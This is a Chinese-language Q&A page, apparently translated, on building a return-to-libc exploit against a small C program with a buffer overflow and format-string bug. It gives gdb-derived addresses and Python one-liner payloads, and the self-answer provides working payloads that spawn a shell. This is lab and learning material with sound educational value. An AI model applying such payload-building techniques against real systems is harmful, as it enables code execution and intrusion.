返回libc攻击

re3el

我正在尝试使用格式字符串攻击向量对以下代码实施返回libc攻击。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

我已经使用中的p system命令找出了system()的地址gdb通过检查使用的堆栈框架x/500s $esp,我得出了包含的环境变量的地址\bin\sh

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

完成这些操作后,我构造了以下格式字符串:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

其中0xffffcdbc - 0x4是包含系统地址0xf7e2cda0的本地地址

我使用编译了程序,gcc -m32 -fno-stack-protector -o sh sh.c使用运行了程序gdb sh执行后,输入r<inp,我得到以下输出

gdb_output

如上所示,显示了一些错误命令,只有在r再次运行命令后,我才进入外壳有人可以解释一下我在这里缺少什么,以便我直接进入shell吗?

另外,当我尝试./sh < inp通过偏移gdb地址来执行不带gdb(by )的上述程序时,出现了段错误错误。我假设一旦上述修复得到纠正,就可以解决。

请给出一个完整的可用漏洞利用程序进行回答-大多数在线教程都用于argv[1]解释类似的问题,但我希望在不使用参数的情况下使漏洞利用工作。

谢谢!

re3el

经过几天的研究,终于找出了问题所在。并不是说/bin/sh字符串的地址是错误的,或者您只需\bin\sh要从libc库中获取一个字符串地址位置就可以使它正常工作,但是您所需要的只是在字符串地址末尾的4个字节的nop雪橇您放置的 因此,实质上,我的攻击字符串会这样

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

或者在您/bin/sh直接将a写入缓冲区的情况下,类似以下字符串的方法将起作用

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

其中\x5c\x73\x68(对于十六进制\bin\sh)中的被存储在缓冲\x84\xce\xff\xff

注意:有时我还观察到您在特定位置写的地址没有显示出来。在这种情况下,您应该进行填充以确保所有内容都存储在它们各自的位置。

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章